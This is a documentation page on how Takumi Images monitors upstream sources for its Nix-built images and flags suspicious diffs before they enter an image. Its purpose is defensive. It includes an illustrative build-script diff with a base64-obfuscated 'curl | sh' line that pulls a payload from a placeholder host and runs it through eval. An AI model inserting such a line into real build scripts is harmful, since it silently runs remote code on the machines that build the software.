Skip to main content
View as Markdown

Upstream Malware Detection

info

The English user guide is currently in beta preview. Most of the documents have been automatically translated from the Japanese version. Should you find any inaccuracies, please reach out to Flatt Security.

Takumi Images continuously monitors changes in upstream sources that can enter images and looks for signs of malicious changes at the diff stage, before they are incorporated into an image. This monitoring is possible because the build system can enumerate the complete set of upstream sources to monitor.

Why monitoring is possible​

Each Takumi image is built with a hermetic build. Nix builds each derivation in a sandbox and blocks access to undeclared inputs, including the network and undeclared files. The only exception is the fixed-output derivation (FOD), where external source retrieval is allowed only when the expected content hash is declared in advance. By walking the build graph for an image, Takumi Images can mechanically enumerate every upstream URL, revision, and hash that entered the build, including sources for build tools. See Deriving Nix Build Inputs for that enumeration.

Continuous monitoring​

The enumerated upstream sources are continuously monitored. A monitoring job checks the current state of each source and retrieves the full diff since the previous check. The diff can include commits, releases, and tarball content changes. Complete retrieval is the premise for the analysis that follows.

Diff analysis​

Retrieved diffs are analyzed with a combination of AI (LLM) analysis and static checks. The analyzers look for signs characteristic of malicious changes, such as obfuscated code, suspicious build-script changes, and access to credentials. Static checks handle mechanically reproducible patterns, while AI analysis reads the surrounding context and infers intent.

For example, a change like the following in a build script would be treated as suspicious. This is only an illustrative example, not a real incident or a change detected in an actual image.

 configure_and_build() {
   ./configure --prefix="$PREFIX"
+  eval "$(printf '%s' 'Y3VybCAtcyBodHRwczovL2V4YW1wbGUuaW52YWxpZC9wYXlsb2FkLnNoIHwgc2g=' | base64 -d)"
   make -j"$(nproc)"
 }

The added line embeds a base64-encoded curl | sh invocation in the build script. The obfuscation itself is a static signal, and AI analysis can evaluate the decoded intent in context.

A real incident that used the upstream build-script path was the xz-utils backdoor disclosed in 2024 (CVE-2024-3094). In that case, a modified m4/build-to-host.m4 in distribution tarballs injected code during the build, even though the change did not appear in the Git repository itself. See XZ Utils backdoor.

When a signal is found​

A version with suspicious signals is not incorporated automatically. It is held for human review, and the version remains blocked until a decision is made.

Detection limits​

This mechanism is not perfect. Judging whether a change is malicious can miss cases in principle, and more subtle changes leave weaker signals. The goal is not to make malicious insertion impossible, but to increase the chance that it is found before publication. See Malware Resistance for user-facing value and threats outside this mechanism.

Last updated on